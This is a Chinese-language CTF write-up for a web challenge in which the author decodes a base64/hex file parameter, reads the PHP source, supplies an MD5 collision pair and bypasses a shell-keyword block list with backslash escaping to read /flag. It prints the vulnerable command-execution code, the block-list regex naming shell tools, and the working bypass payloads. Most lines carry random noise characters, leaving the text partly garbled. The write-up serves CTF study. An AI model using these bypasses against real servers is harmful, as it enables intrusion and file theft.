|
|
3 S/ k* }& }" p D& l, ^<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
% F2 e, N+ \# D1 ~, H/ H<p> </p>
: T, v1 _' U# U+ O% B, ]3 _. a' I; X: Y* Q<p> </p>1 b1 L6 D9 G5 t/ i
<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>7 P! f: _. {( j, D0 @
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
7 G P8 O, J) U- H, I: d" H8 x<p> </p>: z/ D* l- b( g5 w' M6 C
<p> </p>7 F) U) W/ B$ Z. Z
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>
) u% A& U0 Q q* F3 J5 a<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
1 M+ J0 v% p9 W% b9 X4 r$ M2 g<p>首先把那个进行一次base64位解码</p>
4 p |7 R+ I6 F8 U. M0 @* V<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>. n5 D! }- b' O$ P7 R
<p> </p>5 _4 q; A2 r, ]! H% y: f
<p> </p>. h7 C$ {) q9 j# [4 c. k
<p> 解码一次以后还是很像base64编码,于是又解码一次</p>0 E G1 N) f# O- C4 X0 k
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>: G! E) G% K; d
<p> </p>
4 H0 g0 e! J. x. Q4 l<p> </p>( q1 x$ D* u, ~6 K
<p> 然后用hex解码一下得到了</p>8 a( ~- D' M5 u. K' D2 F
<div class="cnblogs_Highlighter">
5 V! |* |2 K, M. L4 _6 C) _5 U0 G% L<pre class="brush:sql;gutter:true;">555.png
# P9 q, b" T$ j! X</pre>
- s3 A( h% \! a8 ~$ ]</div>
3 i& l) h" y& @) T4 K0 G F( n" ?* z<p> 用同样的方法把index.php进行加密</p>
5 v. o, I; }5 N* ^<div class="cnblogs_Highlighter">+ U/ r7 P" B& m0 @! x+ F
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
0 A+ {; _- _. y6 l7 w9 N0 F: u# g</pre>
' ^! f. x5 o( l</div>1 K0 T' M) S. u. W) q, P# g/ f
<p> 然后输入到地址栏</p>
0 S+ f% G; \* d- x% _<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>3 A2 g3 Z9 J8 _' k- o( c+ B9 U
<div class="cnblogs_code">
8 O& E s4 B& S1 ]7 ~<pre><?<span style="color: rgba(0, 0, 0, 1)">php
/ ?! L# _% R% ^) n. e: b/ M2 {$ j" k</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
" b8 P+ d( {0 Y4 T</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);8 `$ x8 v3 \: l. j& k
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
: p. u! u* K" j5 [3 x8 F</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) 2 K" Q( ?/ |! d% O! n& y, J! }
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);
1 |& [1 R& i; Z! H9 }" P. Z ~6 T& t</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));# M, E9 Y% h+ U6 w* Q' d
) @! _. B( s; }! `: Q5 J
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);! y* `9 X2 k( E# B* K B
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
& i* x' t6 |1 {- F6 y8 \) t% R, V </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;
/ y6 ?) l4 D0 H) g </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
# s% y4 B H# R6 p. f4 E `# u} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
. p" P9 u1 G) P4 c </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
6 V* g4 O$ F# @/ } </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;2 h& H5 [& M4 a
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
* N2 @. Q8 S2 j}. w1 Z3 A9 ?5 T& _- O
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;6 F a9 |! g; i: K( {7 W7 `
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;. ^5 X- S. o" f' c+ A& S* R( L
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) { M4 E3 Q x% A1 c
</span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);% x4 h! ^+ n7 l; W$ ]
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;% F. o, t; S3 J' E' D1 |! h
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
9 _7 D2 n5 D1 T& I* b% K% t4 _ </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {/ |" o- k) c# H, F# X' V6 G
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
) U1 V; g* J" S8 S } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
" W7 e3 \" f9 N3 z </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);: Q2 u$ V" m5 g( Z3 N1 c- o2 L0 u
}& b: m& j; p5 T+ b
}
; r! `. i# F7 E; d, e' a, \9 _/ [3 H9 S" U
</span>?>
( C) T$ s' q% X: G0 t* f; x<html>6 K6 O9 N* \0 m4 w+ v
<style><span style="color: rgba(0, 0, 0, 1)">& h9 h5 c. Z2 P
body{
0 X& z5 G) J! l/ _( w background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
0 Y0 q& h+ o9 }$ o3 O background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;! X6 |5 Y n) X. z; A
background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
5 m C6 q/ ^4 u% ]. Y background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>' ]4 m/ N& e" i
<span style="color: rgba(0, 0, 0, 1)">}
( h2 ]. T! Z( v0 P% a" W</span></style>) t+ \$ n! J. ?6 D9 @- ]
<body>, a, i2 s( V4 t: |3 f8 A$ Z
</body>
% o6 |! X+ J9 j z. b2 R- W</html></pre>, j( f" m7 N" }' S
</div>
; P$ }, V) o+ s/ r# f) }<p>结合前面的推断,关键代码就在</p>
4 \1 a0 g& N: \<div class="cnblogs_code">' P7 A$ ^4 h; s8 d( ^ N
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
; n3 b8 E, w, U9 s </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;# E2 ^' y5 j3 g9 L& F( ]
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
7 x+ q m/ g0 d- ^/ c; o1 H+ N </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
% N. z3 H# ?1 l }</span></pre>! Z+ |) {& K* z
</div>2 C3 g N+ ]) f5 C" `: b$ A
<p>这种MD5是md5强碰撞</p>
* }* F% S" U' A' p4 }<div class="cnblogs_Highlighter">
1 J+ i7 u4 \2 o( A' J' ]<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
) ^: d. n3 x6 y* l</pre>
, f9 c- p0 u: ]1 S4 I7 n1 V" Y' S) D</div>
- l2 @& K' @3 p8 O0 Z T" @<div class="cnblogs_Highlighter">
W3 H1 L$ W$ d: y, {2 a<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
. [( p N' B3 P* Z% B( K' D4 l9 j</pre>* e: ^) X. a: @3 S4 ~! }
</div>
& }3 M/ ^# O, P7 D<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>. k7 Z& G8 s+ ]9 b5 D6 L6 Z5 v J( Z& ^
<p>于是采用payload:</p>
b' o, s- b @; `2 M<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
8 E* z% [3 E; q' {. Z. P" {# a<p> </p>
I4 g( I# T) C9 T+ a! `& o<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>, X" P T, L0 ^9 N0 U8 L# L
<p>ls和l\s在命令执行的时候结果是一样的。</p>
9 {0 ]6 c7 v: A& Z4 Y. \1 @<p>然后发现根目录里面有/flag</p>
5 l: w* q- ]+ ?<p>于是payload:</p>
9 ^9 Z% s) `1 F# W5 g<div class="cnblogs_Highlighter">5 s1 C8 w* K1 d9 S) J0 [
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag" C, j+ P. f- }2 r
</pre>
6 l/ f! n: M, X' ~2 c1 E2 K</div>
) u7 x1 a5 R# z0 z7 X+ N. Q<p> 对于这个题目,因为他没有屏蔽sort和dir</p>
1 Y6 J- u6 |7 \# V# C<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>; `4 E2 u+ K# N+ d* r. P( `( D
<p> </p># F j2 E9 T/ l0 T' L, X) J1 l
|
|